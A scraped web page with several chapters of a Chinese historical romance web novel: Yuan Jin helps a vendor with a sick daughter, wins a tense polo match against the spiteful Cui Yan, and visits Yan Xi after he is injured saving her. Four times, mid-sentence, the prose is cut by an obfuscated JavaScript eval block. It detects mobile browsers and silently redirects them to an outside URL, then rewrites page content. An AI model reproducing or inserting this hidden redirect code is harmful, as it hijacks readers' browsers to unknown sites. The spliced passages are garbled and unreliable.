卖桃核小船的小贩是个年近不惑的妇人,眼下带着青黑,神色憔悴,但在看到袁瑾后仍旧热情地介绍起自家的核雕。末了,小心翼翼地看着她,试着说:“娘子,这小船不仅有趣也能驱邪祈福,买一个吧。” 被人期待地注视着,让她说不出拒绝的话。刚想叫人来付钱,才想起来自己是一个人出来的,自然也就没人带着钱袋子。堂堂袁氏女竟然没钱买个核雕,传出去她还要不要出门了? 就在袁瑾搓手顿脚的时候,手上的金镶蓝宝石戒指引起了她的注意。刚要摘下戒指,颜熙却不知道从哪里冒了出来,按下了她的手,盖住了戒指:“祖宗,您快收了你的神通吧。” “我可没让你帮忙付钱。”袁瑾收回了手不自在道。 “是是是,都是我自己贴上来的。”颜熙拿出了钱袋子转头看向妇人询问价钱。 妇人看到了两人感慨一句:“两位感情真好。” “谁跟他感情好了!”袁瑾马上否认。 颜熙也笑着否认:“别了,如果这也算感情好,我情愿没有。” 袁瑾蹙起眉头看向颜熙:“像谁愿意跟你这个厚脸皮的人有牵连似的。” 妇人见状莞尔一笑。 一个渔女走了过来,跟妇人熟稔地打招呼:“今天怎么没看到幺女?” 袁瑾留意到妇人在听到女儿的名字后,脸上的笑容倏地一下消失了,愁容瞬间占据了整张脸。 “前些日子……病啦。大夫说如果再不吃药的话,就……”妇人努力地维持声音的平静,但显然失败了。 渔女意识到自己说错了话,连忙安慰:“别担心,今个东西好卖……我今天钓了大鱼,你拿去熬汤给幺女补补身体……”说着她把鱼丢给了妇人转身就跑,生怕妇人追上来把鱼还给她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047382|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 妇人看着手边的鱼,呢喃着:“怎么能白要你的东西?大家都不容易……” “令爱病得很重?”袁瑾忍不住地询问。 妇人如梦初醒,期期艾艾:“两位见谅,我……我不是故意的……我这就给两位挑个好的。” 粗糙的指腹上带着伤口,想来是雕刻桃核时失了神无意间伤了自己。 袁瑾想,看来她的女儿病得很重。 “等等。”她出声。 妇人如惊弓之鸟,望着她,生怕是因为自己刚才的失态怠慢了客人而错失商机。 “你还有多少个核雕?”她问妇人。 妇人一愣不明白她为何要问这个问题。 “我都要了。”她道。 “啊?”妇人显然被天降馅饼砸晕了,呆呆地望着袁瑾。 “我正愁着端午送什么,你的核雕刚好结了我的燃眉之急,我全要了。”她问道,“多少钱?” 妇人哪里不知道袁瑾是在找借口帮她,女儿有救的欣喜和多日以来心酸涌上心头,眼泪夺眶而出,哽咽道:“多谢娘子大恩,多谢……” 袁瑾手忙脚乱,这辈子她最怕别人在她面前哭了,忙声道:“唉?你别哭啊——” 颜熙看着笨手笨脚安慰妇人的袁瑾笑了一下,比起船上那个压抑自我,故作镇定的袁小幺,还是眼前这个活蹦乱跳的更有意思一点。也不枉他撒了个谎拉她出来。 袁瑾抽空抬头瞪了他一眼,示意他赶紧说些什么让妇人别哭了。 虽然想再欣赏一会儿袁小幺的窘迫,但他知道自己再不说话等袁瑾得了空肯定要找他麻烦,为了自己的清净他也上前劝慰妇人几句。 妇人也发觉自己太失态了,擦了擦眼泪:“让两位见笑了。”她清点了剩下的核雕报了一个合适的价钱,又赠给他们一个精巧的竹编匣子用来装核雕。 “夫人为人良善,必为神佛庇护,定会让令爱好起来的。”颜熙将钱袋子交给了妇人。 “借恩人吉言。”妇人感激地收下钱袋子,冲着两人鞠了一躬便匆匆赶去药铺抓药了。 袁瑾撇撇嘴:“没想到你也有说话中听的时候。” “我的话什么时候不中听了?”颜熙摇着扇子,“不过我倒是没想到你会这么做。” “那你以为我会怎么做?”袁瑾问。 “抢了我的钱袋子硬塞给那妇人。”颜熙答。 “……在你眼里我就是个莽夫?”袁瑾蹙起眉头,一边清点着核雕一边说道,“你没见那妇人即使急需钱财也不肯白要人家的鱼,直接塞给她钱她肯定不要。再说了,我也确实需要挑些小物件送人。如此钱货两清,谁也没有负担。” 颜熙微微一愣,他没想到袁瑾会如此通透。 “别傻愣着了,”袁瑾将匣子递到颜熙的眼前,说道,“挑一个吧。” 颜熙有些惊讶:“还有我的份?” “都说是端午送人用的,你不会以为我说假话的吧。”袁瑾被看得不自在,别过头,不耐烦道,“哎呀,让你挑就挑哪来那么多废话!” 阳光穿过树梢落在袁瑾的身上,半明半暗,衬得她有几分……可爱。颜熙怔了怔,觉得自己可能晒糊涂了。他怎么能用可爱来形容这个混世魔王呢? 8. 第 8 章 “她病了?” 颜熙一回来就听袁珏说袁瑾憋在屋子一整天了。他纳闷,昨天不还好好的吗?怎么才一天的功夫就病得出不了屋了? 袁珏放下茶盏:“不清楚,听下人说昨日从崔府回来就这样了。大约是受了凉风,一会儿寻个大夫给她瞧瞧。” 昨日下了雨确实凉,但颜熙觉得袁瑾这个小霸王还不至于如此弱不禁风。 这时陈百潼说道:“对了,昨日表妹也去了崔府拜访崔夫人,也让大夫给她瞧瞧,免得她自个忽视耽搁治病了。” 袁珏点了点头:“还是百潼想得周到,明月身子骨弱要仔细照顾才是……” 听着夫妻两人的对话,颜熙的心中渐渐有了个猜想——袁小幺不是病了而是心里不痛快。 他垂下眼眸想起了前日崔闻和萧婵在船宴上那场为人津津乐道的斗诗,拇指摩挲着茶盏的边缘。 “我去看看她。” 袁瑾确如颜熙所想心中不痛快,不过不是因为萧崔二人斗诗的事情,而是因为她明明满心欢喜地去拜访崔夫人,却发现崔夫人和萧婵相谈甚欢。 她那时满脑子只剩下离开这一个念头。等到回过神后,自己已经回到家里了。望着昏暗的屋子她忽地感到疲惫,把要送给崔夫人的核雕丢在桌子上,自己整个人扑在床铺上,仿佛只有这样才能忘却一切烦恼。 她讨厌萧婵。 每次跟萧婵站在一起,自己总会遭受更多的苛责,就好像自己是这世上最糟糕的人。 她已经听够那些话,与其眼看着自己喜欢的长辈倒向萧婵,倒不如自己主动斩断联系,眼不见心不烦。于是她对外称病,想着就此不再去崔夫人那里了。 可是——袁瑾坐在秋千上用脚拨弄着一株小草,她也知道躲得过一时,躲不过一世。只要她还活着,不想看到的,不想听到的最终还是会落在她的眼中,落在她的耳中。 或许,我应该试着做一个端庄的女郎,磨平棱角,做那活在格子里的人…… “看看我发现了什么?袁娘子竟然在偷懒。”颜熙贱贱的声音从身后传来,高大的身影挡住了灼灼阳光投下一片阴凉。 袁瑾扬起头,看到颜熙正握住了秋千的两只绳索低头看她,脸上是一如往日的促狭。但她今日心情实在太差,懒着跟他打闹,不冷不热地问:“你来干什么?” “当然是来探病喽。”颜熙扬起眉头瞧着她,“不过依我看,某人是在装病。” 袁瑾心里本就乱糟糟的,偏偏颜熙像是瞎了一样非要在这个时候招惹她。 “怎么不说话?”颜熙捏着下巴,“难道被我说中了?你装病骗人……” “我就骗人了怎么样?”袁瑾大叫,“你去告诉别人啊,说我不仅刁蛮任性,还喜欢说谎骗人。你说啊,你去说啊!” 她像一个被引燃的火药桶,砰地一下炸了,大脑一片空白近乎本能地发泄自己的不快:“是,我袁瑾刁蛮任性,不学无术,活该被说。可我也是人,我也是会难过得,是会累的,你们为什么总是逼我!我想做自己想做的事情有什么错!” 颜熙平静地看着她。 袁瑾低下头避开了颜熙的视线。其实冷静下来后,她自己也觉得自己有些过分,颜熙不过是想让她说话,自己却因为私事不顺将火气发到了他的身上。内疚的藤曼缠绕在心房,她不自觉地绞着帕子。 沉默良久,颜熙才开口:“出气了?” 袁瑾依旧不说话。身体突然一轻,回过神才发现秋千已经荡了起来。她下意识地抓紧秋千的绳索,重新看向颜熙,震惊道:“你干什么!” “你不理我,我只能换一个法子了。”颜熙接住绳索用力一推,“坐稳了,摔下来我可不管。” “喂!颜青阳你放我下来!” “那你先道歉。” “我就知道你这个小心眼才不会那么大度!”她梗着脖子,嘴硬,“我不!是你先讨嫌的,活该!” “那袁娘子继续在天上待着吧。”颜熙加大了力气。 袁瑾看着越来越近的天空发出惊呼:“等我下来你就死定了!” “袁娘子还是先下来再说吧。”颜熙肆意的笑声在身后响起。 “颜青阳你这个混蛋——”袁瑾尖叫。 景物从袁瑾的眼前快速飞过,风声潇潇。那些苦闷烦躁,委屈内疚全被她忘在脑后,满心只剩下“我与颜青阳势不两立”的念头。 不知过了多久,颜熙不再推了而是靠在秋千的柱子上,感叹:“你这丫头嘴巴真硬,说句软话不就好了。” “你做梦!”袁瑾想也不想地回答。 “嘿,你这个不讲理的丫头。”颜熙被气笑了,又问,“师姐说过几天要去郊外打马球,你去吗?” 袁瑾自然知道阿兄和嫂嫂打算办一场马球会,若是以往她自然当仁不让,可是一想到萧婵也会去赴会,她也就没那么想去了。 颜熙见袁瑾半晌没动静,揶揄:“你不会是怕输给我吧。”说着还煞有其事地点了点头:“也对,毕竟你上次投壶都输给我了难免心有畏惧……” “你才心有畏惧!”袁瑾转头气鼓鼓地看向颜熙,“你等着,我这次肯定一雪前耻,打你个落花流水!” 颜熙抽出扇子笑眯眯地看向她:“那我拭目以待了。” 看着眼前笑得如狐狸似的人,袁瑾才意识到自己上当了。 三天后,天气明媚正是出游的好时候,清冷的郊外热闹了起来。长辈们不在,他们这些小辈也就能放开手脚大干一场,一个个摩拳擦掌欲博一个好彩头。 袁瑾今天梳了个双丫髻,头上带两个红色的毛团发饰,缟羽色圆领袍上的宝相花在阳光下闪闪发光。她一手握着球杆一手掐着腰看着迎面走来的颜熙。 今天这人穿得人模狗样,白色圆领袍掖去一只袖子露出了淡黄色的半臂,腰间的红腰带迎风飘扬。 “啧,招蜂引蝶。”袁瑾撇撇嘴,上前道,“你来晚了。” “不晚不晚,时间刚刚好。”颜熙拿起自己的球杆,对她说道,“某人输了可别像小时候一样哭鼻子。” 儿时的回忆涌上心头让袁瑾又羞又恼:“你别得意,谁输谁赢还不一定呢!” “别想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047383|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,肯定还是我赢。”颜熙翻身上马,冲她露出挑衅的笑容。 “啧,这小子也太讨打了。”陈百潼牵着马走了过来, 袁瑾十分赞同。 陈百潼将缰绳递给她,笑道,“走,嫂嫂带你杀他个片甲不留。” 锣声一响,一匹枣红马横空出世,速度极快仿佛一道赤红色的闪电。袁珏扬起球杆用力一挥:“青阳接着!”白色的马球飞快地冲向马场另一端。 袁瑾闻声转过头看向颜熙,对方已经扬起球杆策马赶来。她当然不会眼睁睁地看着颜熙得胜,她挥动缰绳向马球的方向冲去,终于赶在颜熙之前击中了马球,打入了球门。 袁瑾冲着颜熙挑起眉梢,得意洋洋道:“不好意思,这一局是我赢了。” 颜熙笑了一下:“一局而已还算不上什么。” “随你,最后的胜利肯定是我的。”袁瑾驱马跑入场地中心。 事实证明,颜熙还是有两把刷子的,几场下来袁瑾赢得很艰难。 暑气从场地升起,所有人的后背沁出了一层薄汗。 只见颜熙从袁瑾身侧冲出击中了马球,马球速度很快,无人可当,眨眼间就进了球门。 袁瑾愣了愣,心说他竟能隔着这么远的距离就将球击入球门。 “怎么样,我厉害吧。”颜熙冲袁瑾扬起笑容显摆。 袁瑾收回目光切了一声:“不过是比分追平了而已,还有最后一局呢。” “好啊,那就一局定胜负。” “一局定胜负就一局定胜负。” 双方相对而立,大战一触即发。随着锣声一响,陈百潼立在马背上对着空中的马球猛地一击,兄长立刻起身拦截虽没截住但还是让球的方向偏了。袁瑾纵马去抢,但颜熙仗着自己长手长脚抢走了球。 袁瑾二话没说憋着一口气,立刻驾马向球门的方向冲去,快点,我要再快一点! 就在马球入门的那一刹那,她截住了马球并狠狠地打了回去。就在这时陈百潼杀出重围,手臂一挥接住马球将球击入球门。 “赢了,我赢了!”袁瑾挥舞着球杆放声大笑,无比清晰的快乐回荡在心间。她想,今天是她这几天以来最开心的日子了。 颜熙在此起彼伏的欢呼声中靠近她,笑道:“刚才那一招还挺厉害。” 袁瑾扬起下巴,骄傲道:“我当然厉害!” 颜熙难得没跟她抬杠,嘴角噙着笑看着她。 “看什么看,再看也改变不了事实。”袁瑾颜熙伸出手,“我的彩头呢?” “自然是在台上了。”颜熙想了想,问她,“你不会是想让我双手捧给你吧。” “没错。谁让你当初羞辱我的,我是一定要讨回来。” 颜熙哽住了,过了半晌说道:“我没想羞辱你。”他摸了摸脸:“而且你当时也打回来了啊。” 袁瑾:“我不管,反正你伤我自尊了,我必须讨回来。” “……你还真记仇。”颜熙无奈。 “呦,这么热闹啊。加我一个如何?”崔言的横插一杠让袁瑾的好心情消失了大半。 9. 第 9 章 几日不见,崔言变得更加讨厌,那双吊梢眼闪烁着阴毒的光芒。 袁瑾心中不满,崔家怎么把这条疯狗放出来了? 崔言像是感受不到众人的排斥,自顾自地笑道:“袁娘子力拔头筹,崔某见了很是欣赏。正巧我也爱打马球,不如咱们两家比比?” 袁瑾扫了崔言一眼,嘴角勾起轻蔑的笑意:“还是不了,我——” 话还没说完袁珏就对崔言说:“郎君见谅,日头已经升了起来,场地渐热也不适合比试,还是下次再约吧。” 话虽如此但到底有没有下一次谁知道呢? 袁瑾明白兄长打断她是不想跟崔言再起冲突,虽说她不怕崔言,但今日兄嫂在场她也不想让兄嫂跟她一起遭人非议,于是不再搭理崔言。 “唉——我朝儿女一向不畏艰难,区区烈日又何足挂齿?”崔言显然不打算放过他们,“几位不会是不欢迎我吧。” 知道还不赶紧滚。袁瑾心道。可她也知道世家之间关系复杂不可轻举妄动,兄长即便知道崔言不怀好意也不能拒绝他。 “崔郎君说笑了。”袁珏说道,“郎君能来,我袁氏自然欢迎。” “是啊,我们一定陪郎君玩得尽兴。”袁瑾活动着筋骨,懒洋洋地说道,“只有一点,就是到时候输了可别哭着回去告状。” “娘子说笑了。”崔言攥紧了缰绳,挤出一张笑脸。 向场地中心走的时候,陈百潼对袁珏说:“崔言来者不善,你不该答应的。” 袁珏说道:“不答应他,只怕麻烦更多。” “我倒觉得答应了才是会有麻烦。”陈百潼持不同观点。 “管他呢,打了再说。”袁瑾转头看向跟上来的颜熙,蹙眉“你凑上来干什么?” “你那是什么眼神?你的嫂嫂是我的师姐,于情于理我也得帮忙吧。”颜熙说道。 袁瑾:“少来,要不是你我还不至于跟崔言起冲突。你这不叫帮忙,叫将功赎罪。” 颜熙被气笑了:“我看啊,是没人能从你这讨到便宜了。” “那还不好,省得被人拿捏。”袁瑾故意气颜熙,“颜郎君你说是不是?” 颜熙:“……” 陈百潼扑哧一笑:“还真是一对活宝。” 临近晌午阳光越发猛烈,还没开始比试,热气便迎面扑来。马匹不耐地打了个响鼻,躁动地来回移动。 袁瑾一手遮在额头挡住了刺眼的阳光,心说要是崔言没来搅和,她这个时候早就躺在竹椅上吃着酥山了。想到这,袁瑾越看崔言越不顺眼。 铜锣被猛地一砸,金色光在边缘颤动。马球一出现便引得众人蜂拥而至,红色的木球在场地上起起伏伏。 袁瑾从一名崔家子弟的手中抢下马球,反手一击将马球传给了袁珏。另一名崔家子弟想要抢却被陈百潼撞开,袁珏趁机将马球传给了颜熙,而颜熙也不负众望地拿下了第一分。 在四人默契的配合下,他们很快就占据了上风。隐约间能听到崔言呵斥族人的声音。看着气得要死的崔言,袁瑾心情大好。 崔言眼看自己连连失利混了头,不再满足于冲撞击杆这些常见拦截方式,开始用一些令人不齿的手段。 这厢刚接到球那厢一支球杆就向袁瑾的马腿挥来,幸好袁瑾反应得快拉起马头,让马跳起躲开了球杆,但这也让她错失了进球的机会。 崔言进了球后,扬起下巴睨了袁瑾一眼,一副小人得志的样子。他像是尝到了甜头,在接下来的几局中接连使出阴损招式让人防不胜防,比分也逐渐拉平。 袁瑾不悦地咋舌,崔家怎么养出这么一个怪胎?汗珠顺着鬓角滚落,她扬起头发现现在的日头比之前更大了。 咚的一声响起,马球又一次飞了起来。众人目光紧随着马球,生怕错过了马球的轨迹。八骏飞驰,尘土飞扬。忽地两匹马杀出重围齐头并进,袁瑾和崔言死盯着马球生怕彼此抢在自己前头击中马球。 眼见崔言的球杆要击中马球,袁瑾咬牙起身向前探了半个头,挥动手中的球杆将马球向上击打,接着又快速地将向上飞起的马球向身后击去。还没等高兴她心里就咯噔一声,糟了,那里没人接着! 忽地一道黑影跳出拥挤的人群,银光一闪,马球嗖的一声从她身边快速划过飞进了数十步远的球门中。 在进球的那一瞬此起彼伏的欢呼声响彻整个场地,袁瑾抬着头看向远处的“天降奇兵”。 颜熙面庞上有细密的汗珠,如同晨露般晶莹剔透。在感受到她的目光后,转过头冲她露出大大的笑容,灿烂明媚,让一切都变得明亮起来。 袁瑾怔了怔。 “被我的英勇风姿迷住了?”颜熙歪着头笑眯眯地问她,语气促狭,看起来很不正经。 袁瑾伸手推开颜熙:“滚蛋。” 颜熙哈哈大笑起来。 袁瑾横了颜熙一眼,背后倏然一凉,心里也毛毛的,下意识地张望却没发现什么异样。 “怎么了?”陈百潼发现了她的异常询问。 袁瑾摇了摇头示意自己没事。 双方重新回到了场地中央,炎炎烈日让场地变成了一个大火炉,烤得人口干舌燥。袁瑾看向崔言撇了撇嘴说道:“来来回回没完没了,崔郎君咱们干脆点,一局定输赢。我想豪爽的崔郎君一定会答应,对吧。” 崔言出人意料地同意了。 许是最后一次所以战况格外激烈,不过半刻马厩就从三四个人的手中走过。 袁瑾扫了一眼球门估摸了一下距离觉得有获胜的机会,便冲着身后大喊道:“传球给我!” 袁珏会意立刻击飞了拦在眼前的崔氏子弟的球杆,陈百潼趁机挥杆将球传给了她,做完这一切后两人会心一笑。 啧,还真是羡煞旁人。袁瑾再目睹一切后撇了撇嘴。正当她准备接球的时候,身后传来颜熙的惊呼:“幼瑛快躲开!” 一时间发生的事情太多,袁瑾应接不暇不知如何是好竟呆在了原地。 手臂蓦然一紧,身体随之腾空而起,直到在地上连滚了几下才反应过来自己坠马了。脑袋晕乎乎的,就听到头顶传来倒吸凉气的声音。扬起头,才发现自己被颜熙揽在怀中,而对方面露痛苦冷汗直冒,一看就是受了伤。 袁瑾连忙坐起来给颜熙检查身体,就发现颜熙干净的衣服沾着泥土和草屑,衣衫上更是隐隐有了血色,她心头一紧,各种不好的念头接连涌上心头,忙不迭地询问:“你怎么样了?手脚还能动吗?” 崔言骑着马走过来,惺惺作态:“哎呀,这怎么还摔了马?颜郎君袁娘子你们也太不小心了吧。” “要不是青阳拉走了幼瑛,你的球杆就砸在幼瑛的身上了!崔言你想干什么!”陈百潼怒不可遏。 “打马球嘛,免不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047384|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得情绪上头忘了分寸。再说了,这不没出事,陈夫人何必动怒?”崔言俯视着地上的两人,“抱歉了,我一会儿叫大夫来给颜郎君瞧瞧。” 听着崔言毫无诚意的道歉,袁瑾火冒三丈。她从地上猛地站了起来,拽着崔言的腿把他从马背上拉了下来,拎着他的衣领,抡起拳头砸在了他的脸上。 “我忍你很久了!” 崔言捂着眼睛一脸不敢相信地看着袁瑾:“你,你敢打我?”推开同族,作势要打回来。 袁瑾巴不得崔言打过来,抓过崔言的拳头用力一掰,对方惨叫声响彻云霄。 崔家人投鼠忌器不敢上前救人,嘴里喊着:“袁娘子快放手!”哪知道他们越喊袁瑾打得越狠。等到她被兄长架着胳膊拉出来的时候,崔言已经头发散乱,鼻青脸肿,那模样简直连亲娘都认不出来了。 “你这个泼妇!” “崔郎君慎言。”陈百潼眼神一凛。 崔言虽害怕但不想丢面子更不想吃哑巴亏,推开了搀扶自己的人,指着袁瑾一家:“得罪了崔氏,你们一家子就等着吃苦头吧!” “依崔郎君所言我们一家往后的日子也不好过了。”萧婵穿过人群缓步走来,面带笑意却不达眼底。 崔言欲出言讽刺却被身边人拉住了袖子:“宋国公得天子青睐,郎君切勿冲动。” 双方陷入了僵局。 袁珏开口:“小妹虽不该出手打人,但袁某以为崔氏也并不完全无辜。不如就此作罢,也好全了两家颜面。当然崔氏若是不愿,袁氏也可奉陪到底。” 沙场数载早就将袁珏磨砺成一把锋利的长刀,一言一行间带着一股子冷意,让人感到恐惧不敢再语。 见崔言不敢再言,陈百潼招呼着人手把颜熙抬到担子上。 大夫当过军医,对跌打损伤很有一手。只是即便大夫医术再高明,正骨的时候还是会疼,颜熙的闷哼声断断续续地从屏风后传来。 袁瑾绞着绢帕死死地盯着屏风。终于闷哼声停了下来,大夫从屏风后走出,她迫不及待地去看颜熙。 颜熙显然没料到她会突然出现,连忙盖上被子,一脸惊恐:“你怎么不出声就来了!”只是一条胳膊受了伤,行动受限,半天没能盖好被子。 袁瑾一哽,总不能说她太着急忘了吧,那太丢脸了,而且被颜熙知道了他肯定要抓着不放笑话她一辈子。 颜熙反应了过来:“哦——我知道了,你是在担心我。” “我才没有——”看到颜熙布满额头的冷汗,袁瑾说不出违心的话,认命道,“好吧,我承认我担心你。”但她马上补充,“只有一点点而已,你少得意。” 颜熙扑哧地笑出了声。 “你不许笑!” “不笑不笑,”颜熙嘴上说着,但笑意不散,冲她竖起大拇指,“袁娘子威风不减当年啊。” 讨厌鬼。袁瑾横了颜熙一眼,坐在床边的凳子上,认真地询问:“为什么要冒险救我?你知不知道刚才有多危险?稍有不慎,你就瘫了。” “难道要我眼睁睁地看着?”颜熙无奈,“我在你眼里到底是什么样子啊?” “我不是那个意思,我的意思是我充其量只算熟人,或者友人?”袁瑾不解,“真值得你赌上自己赔上一切吗?” 静默许久,久到她以为颜熙不会回答时,他才对她说:“值得,你永远都值得。” 10. 第 10 章 “值得,你永远都值得。” 低沉悦耳的嗓音又一次在耳畔浮响,让袁瑾的思绪不由自主地想起昨日。 颜熙望着她。 阳光雕琢着青年英俊的面孔,黑而亮的眼眸犹如秋日夜空下的繁星,遥远而神秘,静静地诉说着那不为人知的秘密。 袁瑾坐在秋千上,手指无意识地抚摸着麻绳粗糙的表面,咀嚼着颜熙的话。 她震惊于颜熙的态度,也困惑于颜熙的态度。他竟会如此看重我!他为什么会如此看重我? 但回想起颜熙后来胡乱找补的样子,最后所有的讶然和疑惑又都变成了得意。她唇角勾起,嘴上说着嫌弃我还不是偷偷地把我当成朋友,说我口是心非我看你也不逞多让。 袁瑾从秋千上跳了下来,随意地拍了拍衣裙,大摇大摆地向颜熙的住处走去,去看望她的“新朋友”了。 穿过拱桥,又走了好长一段路,袁瑾才到了目的地——竹院。她小声嘀咕:“宅子太大也不是件好事。” 竹院院如其名,栽种着成片的青竹,其形修长;竹叶翠绿叶似剑,只不过需要仔细观察才能观察到竹林锋利的一面。 迎面走来三个人,袁瑾都认识。 “崔夫人,崔郎君。” 崔夫人问道:“娘子的身体怎么样了?” 见崔夫人没计较她上次不告而别,反而还询问起她的身体状况,袁瑾心里更惭愧了,忙说道:“已经好多了。” 崔夫人点了点头。 崔闻温声道:“袁娘子是来看青阳的吧。” “嗯,”袁瑾点了点头,“到底是为了我受的伤,总要照顾一二。不然等他好了,一准会来烦我。” 崔闻含笑:“袁娘子和青阳的关系真好。” “也就一般般吧。”袁瑾耸肩,又问,“崔郎君这是——” “此事到底是因畅今所起,特地来登门道歉。”崔闻面带歉意地看着袁瑾。 袁瑾的目光落向崔闻身后,崔言虽沉默地站在那,但却用眼睛恶狠狠地盯着她。崔言显然根本不是真心实意地来道歉,甚至还把所有的过错都推到了她和颜熙身上。 晦气!怎么一大早就碰到这个瘟神?袁瑾抿了抿嘴,脑子里开始思考该如何从聊天中脱身。 “畅今,过来道歉。”崔夫人说道。 崔言的脸色一下子变得十分难看,但又不能发作,只得不情不愿地挪动着脚步来到袁瑾面前,从嗓子里挤出一句对不起。 袁瑾看着倍感耻辱的崔言却仍不满足。她想,崔言总得跟颜熙一样卧床才算是公平。但在看道崔闻和崔夫人后,自己心里明白这个愿望很难实现。 袁瑾有些烦躁,让她不想再看见崔家人,找了个由头离开了。 刚一走上台阶,就看到了站在窗边的颜熙。他穿着一件翠绿色的外袍,靠在红棕色的窗柩上,受伤的胳膊被吊在胸前,懒洋洋地赏景。 “我倒是小瞧你了,崔夫人竟然亲自探望你。”袁瑾挑眉。 “那是,谁让我讨人喜欢。”颜熙笑道。 袁瑾一脸嫌弃:“颜青阳你够了。还有,你怎么起来了?” “我是伤了胳膊,又不是伤了腿,当然能起来了。”颜熙对她说道,“进屋吧,免得又说我欺负你。” “像你以前少欺负我似的。”袁瑾翻了他一眼,推门而入。 给客人住的房间大同小异,紫檀木的家具,精美的瓷器,只不过因为有人居住而多几分生气。 “不知袁娘子到访有何贵干啊?”颜熙不知道什么时候坐回了在床上。 袁瑾不满道:“难道我只能有事的时候才能来?” “不,当然不。”颜熙立刻否认,“寒舍随时欢迎袁娘子大驾光临!” “这还差不多。”袁瑾嘀咕了一句,看向颜熙询问,“今天感觉怎么样?” “跟昨天相比好了一点?”颜熙不确定,“擦伤不疼了,不过胳膊又肿又涨,晚上睡觉都不能安生。”他叹了口气:“也不知道什么时候才能好。” “魏大夫不是说了吗?伤筋动骨一百天,我看你这一个夏天都要这么过了。”袁瑾看了颜熙一眼,揶揄,“独臂大侠。” 颜熙:“……袁小幺你过分了啊。” 袁瑾没理他,而是把注意力放在芝麻卷上。 “崔言不会让事情轻易过去的。”颜熙靠在床头,对袁瑾说,“你应该能感受到。” “当然,我又不瞎。”袁瑾将装着芝麻卷的盘子放在床边的桌子上,自己坐在凳子上,“你吃吗?” 颜熙被她这副满不在乎的样子气笑了:“你就不能表现得担忧一点吗?崔言可是要暗中针对你!” “我担忧了他就不针对我了?” “……不能。” “那不就得了。与其把光阴浪费在讨厌的人身上,我还是更喜欢用大把的时间做自己想做的事情。总之,见招拆招就是了。”袁瑾将芝麻卷塞给颜熙。 颜熙看着手中黑色的长条,无奈道:“你倒是逍遥于天地。” “有什么不好吗?”袁瑾咬了一口芝麻卷,焦香软糯。她扬起眉头心道,府中的庖厨手艺是越来越好了。 “没什么不好。”颜熙意味深长地看着她,“只是心悦崔通古的人可不少,你要再不抓紧,可就被人捷足先登了。” “啊?”袁瑾诧异地看向颜熙,一头雾水,她不明白颜熙怎么突然说这些事情? “好啦,别不好意思了。”颜熙撑着脸颊,自顾自地讲起崔家,“如果忽略崔言这个堂弟,崔通古倒也不错。家世清白,本人也个温文尔雅的青年才俊,倒也配得上你。只是——” 颜熙忽然停顿了一下。 “只是什么?”袁瑾盯着颜熙。 她发誓,只要颜熙敢说一句不该说的,她不介意让打断他的腿。反正治胳膊也是治,多一条腿也没什么。 一般人见此情形要么闭口不谈,要么含糊其辞,肯定的是一定不会招惹袁瑾这个混世魔王。然而颜熙却是个敢于是捋老虎须子的勇士,只见他斜睨着袁瑾,嘴唇弯成讨打的弧度。 “只是凭这两年的相处,我觉得你与他心上人的模样实在大相径庭。要是强扭的话,我只怕瓜不甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047385|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “甜不甜也得咬一口才能知道!” 袁瑾最受不了别人这么说,她原本对崔通古只是有些好感没想继续发展,但被颜熙这么一激,她是非要拿下崔通古不可! “你给我瞪大眼睛看着,我吃的一定是甜瓜!” 颜熙看了她一会儿,缓缓说道:“好啊,那我就拭目以待了。”末了,还贱兮兮地补充:“要是失败了,可以找我来哭哦——看在你我相交多年的份上我不会笑话你的。” 袁瑾觉得自己的拳头应该跟颜熙的脸有一次亲密接触。 颜熙大概是察觉到了自己处境危险,半握着拳头轻咳了一下,岔开话题:“既然你打算‘扭瓜’,那你打算怎么做?” “说我傻,你也没聪明到哪里去。”袁瑾扬起下巴,“继续学女红不就行了?” “不行!”颜熙从床上弹了起来,扯到了胳膊,顿时龇牙咧嘴起来。 袁瑾疑惑道:“为什么?所谓制敌必先抢占先机,这是我的优势,我为什么不用?” 